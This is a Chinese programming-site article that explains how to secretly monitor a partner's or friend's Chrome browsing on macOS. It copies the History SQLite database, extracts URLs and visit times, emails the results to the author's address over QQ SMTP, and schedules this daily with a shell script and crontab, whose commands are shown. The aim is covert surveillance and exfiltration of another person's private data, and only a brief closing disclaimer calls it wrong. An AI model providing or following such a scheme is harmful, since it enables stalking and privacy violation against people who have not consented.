返回顶部
首页 > 资讯 > 后端开发 > Python >怎么用Python监控你的朋友都在浏览哪些网站
  • 374
分享到

怎么用Python监控你的朋友都在浏览哪些网站

2023-06-15 06:06:53 374人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

小编给大家分享一下怎么用python监控你的朋友都在浏览哪些网站,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!一、需求获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中将这个tx

小编给大家分享一下怎么用python监控你的朋友都在浏览哪些网站,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!

一、需求

获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

将这个txt文件发送给指定的邮箱地址(你的邮箱)

建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

二、背景

Mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?

答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History

History:是一个sqlite数据库,其实就是一个文件,可以用DB Browser for SQLite

去查看所有的信息,我们要的信息在urls表中

怎么获取:用Python内置的sqlite3库连接History,通过sql得到我们想要的信息

怎么发送一个带附件的邮件?

答:使用python内置的email和smtplib两个模块去构造和发送邮件

怎么把这些过程自动化?

答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行

三、requirements

macOS Sierra

python3.6

Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

四、代码

get_history.py

send_email.py

start.sh

crontab -e

五、执行

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

怎么用Python监控你的朋友都在浏览哪些网站

(2) get_history.py:通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果怎么用Python监控你的朋友都在浏览哪些网站

(3) send_email.py:通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.pypython /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!!

六、问题

server.login(from_addr, passWord)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码

答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心

访问History数据库时,显示The database is locked!

答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History

timestamp时间戳怎么转换的

答:last_visit_time是微秒,所以要除以10^6; last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去11644473600;筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时间小于1天的数据

crontab出错

答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!

七、总结

运用python连接SQLite数据库,并执行sql操作

运用python发送邮件

运用shell和crontab建立自动化例行任务

看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强

看完了这篇文章,相信你对“怎么用Python监控你的朋友都在浏览哪些网站”有了一定的了解,如果想了解更多相关知识,欢迎关注编程网Python频道,感谢各位的阅读!

--结束END--

本文标题: 怎么用Python监控你的朋友都在浏览哪些网站

本文链接: https://lsjlt.com/news/278340.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 用Python监控你的朋友都在浏览哪些网站?
    目录一、需求二、背景三、requirements四、代码五、执行六、问题七、总结八、展望一、需求 1.获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一...
    99+
    2024-04-02
  • 怎么用Python监控你的朋友都在浏览哪些网站
    小编给大家分享一下怎么用Python监控你的朋友都在浏览哪些网站,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!一、需求获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中将这个tx...
    99+
    2023-06-15
  • 怎么用Python网络爬虫来看看最近电影院都有哪些上映的电影
    这篇文章主要讲解了“怎么用Python网络爬虫来看看最近电影院都有哪些上映的电影”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么用Python网络爬虫来看看最近电影院都有哪些上映的电影”吧...
    99+
    2023-06-16
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作